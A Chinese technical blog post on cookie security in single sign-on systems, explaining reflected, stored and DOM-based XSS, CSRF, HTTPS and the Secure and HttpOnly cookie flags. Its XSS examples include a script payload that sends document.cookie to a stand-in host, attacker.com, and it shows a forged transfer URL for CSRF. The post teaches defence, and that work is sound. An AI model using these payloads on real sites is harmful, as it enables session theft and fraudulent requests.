溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

單點(diǎn)登錄與權(quán)限管理本質(zhì):cookie安全問(wèn)題

發(fā)布時(shí)間:2020-07-09 15:04:20 來(lái)源:網(wǎng)絡(luò) 閱讀:1136 作者:情情說(shuō) 欄目:開發(fā)技術(shù)

繼續(xù)介紹「單點(diǎn)登錄與權(quán)限管理」系列的第一部分:?jiǎn)吸c(diǎn)登錄與權(quán)限管理本質(zhì),前一篇文章介紹了單點(diǎn)登錄概念,以CAS協(xié)議的基本流程為例講解了系統(tǒng)間的交互過(guò)程,過(guò)程中,cookie的設(shè)置和傳輸涉及的比較多,如何保證cookie的安全性,是這篇文章要介紹的。

安全相關(guān)的知識(shí),了解的也有限,我閱讀了相關(guān)的文章,按照自己的思路、理解,進(jìn)行了梳理和總結(jié)。

如果把安全問(wèn)題按照發(fā)生區(qū)域來(lái)劃分的話,所有發(fā)生在后端服務(wù)器的安全問(wèn)題稱為「后端安全問(wèn)題」,比如SQL注入;所有發(fā)生在瀏覽器、web頁(yè)面中的安全問(wèn)題稱為「前端安全問(wèn)題」,比如XSS跨站腳本***,cookie相關(guān)的問(wèn)題主要在前端。

首先會(huì)介紹下2個(gè)***,XSS可獲取用戶的cookie,CSRF可利用用戶的cookie偽造請(qǐng)求,然后介紹下HTTPS及它的重要性,最后說(shuō)下跨域訪問(wèn)cookie的限制,HTTP設(shè)置cookie時(shí)對(duì)cookie操作的控制。

XSS

XSS稱為跨站腳本***,全稱為Cross-Site Scripting,這類安全問(wèn)題發(fā)生的本質(zhì)原因是瀏覽器將***者提供的用戶輸入數(shù)據(jù)當(dāng)做JavaScript腳本執(zhí)行了。

XSS有不同的分類方法,按照惡意腳本是否在應(yīng)用中存儲(chǔ),可以劃分為「存儲(chǔ)型XSS」和「反射性XSS」;按照是否和服務(wù)端有交互,可以劃分為「Server Side XSS」和「DOM based XSS」。

反射型XSS

場(chǎng)景說(shuō)明:一些系統(tǒng),在用戶輸入或操作錯(cuò)誤后,會(huì)跳轉(zhuǎn)到錯(cuò)誤信息提示頁(yè)面,服務(wù)器根據(jù)傳入的message顯示不同的錯(cuò)誤信息。

如果服務(wù)端不對(duì)message進(jìn)行過(guò)濾,就會(huì)收到XSS***,比如請(qǐng)求URL:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

頁(yè)面顯示

<input type="text" value="${msg}">

如果被***者通過(guò)訪問(wèn)這個(gè)惡意的URL,就會(huì)把cookie發(fā)給***,***截獲cookie,就能執(zhí)行用戶的任意操縱。

保存型XSS

對(duì)于保存型XSS,腳本通常保存在后端數(shù)據(jù)庫(kù)中,不經(jīng)過(guò)濾就存儲(chǔ)并顯示給用戶。與反射型的流程不同的是,需要至少兩次請(qǐng)求,第一次將含有惡意代碼的數(shù)據(jù)提交給服務(wù)器,保存到數(shù)據(jù)庫(kù),第二次是受害者訪問(wèn)含有惡意代碼的頁(yè)面,惡意代碼執(zhí)行。

DOM based XSS

其實(shí)也是反射型的一種,因?yàn)橐彩峭ㄟ^(guò)url控制頁(yè)面的輸出,不同點(diǎn)只是輸出地點(diǎn)不同而導(dǎo)致結(jié)果不一致。

加入請(qǐng)求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 

顯示頁(yè)面如下:

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>

防御XSS最佳的做法是對(duì)數(shù)據(jù)進(jìn)行嚴(yán)格的輸出編碼,使得***者提供的數(shù)據(jù)不再被瀏覽器認(rèn)為是腳本而被誤執(zhí)行。

CSRF

CSRF稱為跨站請(qǐng)求偽造,全稱是Cross Site Request Forgery,它可以在受害者毫不知情的情況下,以受害者的名義偽造請(qǐng)求發(fā)送給受***站點(diǎn)。

場(chǎng)景說(shuō)明:小米金融網(wǎng)站A,有一個(gè)如下的轉(zhuǎn)賬接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000

***H有一個(gè)網(wǎng)站B,在網(wǎng)站中放入如下代碼,通過(guò)廣告誘使受害者點(diǎn)擊。如果受害者之前登錄過(guò)網(wǎng)站A,且session還未過(guò)期,就會(huì)在受害者不知情的情況下,成功轉(zhuǎn)賬給***。

<a ></a>

可以通過(guò)驗(yàn)證HTTP Referer字段、在請(qǐng)求地址中添加token并驗(yàn)證、在HTTP頭中自定義屬性并驗(yàn)證等方法進(jìn)行解決;

HTTPS

建議所有對(duì)外網(wǎng)開放的站點(diǎn)都通過(guò)HTTPS,它是在HTTP協(xié)議的基礎(chǔ)上,加入了SSL層,對(duì)數(shù)據(jù)進(jìn)行加密處理。

通過(guò)HTTPS協(xié)議,cookie在傳輸?shù)倪^(guò)程中,即使被別人劫持到請(qǐng)求,也不知道實(shí)際的cookie是什么,無(wú)法偽造其他的請(qǐng)求。

HTTPS相關(guān)的介紹在網(wǎng)上很多,這里描述下交互過(guò)程:

  1. 瀏覽器將自己支持的一套加密規(guī)則發(fā)送給網(wǎng)站;
  2. 網(wǎng)站從中選出一組加密算法與HASH算法,并將自己的身份信息以證書的形式發(fā)回給瀏覽器;(證書里面包含了網(wǎng)站地址,加密公鑰,以及證書的頒發(fā)機(jī)構(gòu)等信息)
  3. 瀏覽器獲得網(wǎng)站證書之后,要做以下工作:
    • 驗(yàn)證證書的合法性(驗(yàn)證頒發(fā)證書的機(jī)構(gòu)是否合法,證書中包含的網(wǎng)站地址是否與正在訪問(wèn)的地址一致等),如果驗(yàn)證不通過(guò),會(huì)給出證書不受信的提示;
    • 如果證書受信任,或者是用戶接受了不受信的證書,瀏覽器會(huì)生成一串隨機(jī)數(shù)的密碼,并用證書中提供的公鑰加密;
    • 使用約定好的HASH計(jì)算握手消息,并使用生成的隨機(jī)數(shù)對(duì)消息進(jìn)行加密,最后將之前生成的所有信息發(fā)送給網(wǎng)站;
  4. 網(wǎng)站接收瀏覽器發(fā)來(lái)的數(shù)據(jù)之后要做以下的操作:
    • 使用自己的私鑰將信息解密取出隨機(jī)數(shù)密碼,使用密碼解密瀏覽器發(fā)來(lái)的握手消息,并驗(yàn)證HASH是否與瀏覽器發(fā)來(lái)的一致;
    • 使用隨機(jī)數(shù)密碼加密一段握手消息,發(fā)送給瀏覽器;
  5. 瀏覽器解密并計(jì)算握手消息的HASH,如果與服務(wù)端發(fā)來(lái)的HASH一致,此時(shí)握手過(guò)程結(jié)束,之后所有的通信數(shù)據(jù)將由之前瀏覽器生成的隨機(jī)密碼并利用對(duì)稱加密算法進(jìn)行加密;

總結(jié)下:

  • 握手階段,通過(guò)非對(duì)稱加密算法對(duì)傳輸?shù)臄?shù)據(jù)進(jìn)行加解密,約定隨機(jī)數(shù)的密碼、加密算法、Hash算法;
  • 正常傳輸數(shù)據(jù)時(shí),因?yàn)榉菍?duì)稱加密比較耗時(shí),使用隨機(jī)數(shù)的密碼進(jìn)行加解密,隨機(jī)數(shù)密碼在瀏覽器端生成,通過(guò)非對(duì)稱加密傳輸給網(wǎng)站,所以不會(huì)泄露;
  • 為了防止數(shù)據(jù)被篡改,通過(guò)Hash算法進(jìn)行校驗(yàn);
Cookie訪問(wèn)控制

cookie如此重要,在瀏覽器端,如果一個(gè)網(wǎng)站可以訪問(wèn)其他網(wǎng)站的cookie,肯定不行的,所以瀏覽器是不允許跨域訪問(wèn)cookie的,提高了Cookie的安全性。

在前面的文章 session和cookie介紹 中,已經(jīng)介紹了cookie的作用域,主要是說(shuō)一級(jí)域名相同情況下如何共享使用cookie。

如果想實(shí)現(xiàn)跨域訪問(wèn),可以通過(guò)JSONP、CORS的方法實(shí)現(xiàn)。

另外,HTTP設(shè)置cookie時(shí),提供了2個(gè)屬性,可以增強(qiáng)cookie的安全性,分別是secure屬性和httpOnly屬性。

secure屬性可防止信息在傳遞的過(guò)程中被監(jiān)聽捕獲后導(dǎo)致信息泄露,如果設(shè)置為true,可以限制只有通過(guò)https訪問(wèn)時(shí),才會(huì)將瀏覽器保存的cookie傳遞到服務(wù)端,如果通過(guò)http訪問(wèn),不會(huì)傳遞cookie。

httpOnly屬性可以防止程序獲取cookie,如果設(shè)置為true,通過(guò)js等將無(wú)法讀取到cookie,能有效的防止XSS***。

通過(guò)本篇文章的介紹,為了保障cookie的安全性,應(yīng)要求通過(guò)HTTPS進(jìn)行訪問(wèn),在編寫代碼時(shí)充分考慮,盡量避免XSS、CSRF等cookie相關(guān)的***方法。同時(shí),瀏覽器和HTTP本身也對(duì)cookie的訪問(wèn)控制進(jìn)行了考慮。

單點(diǎn)登錄與權(quán)限管理本質(zhì):cookie安全問(wèn)題

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI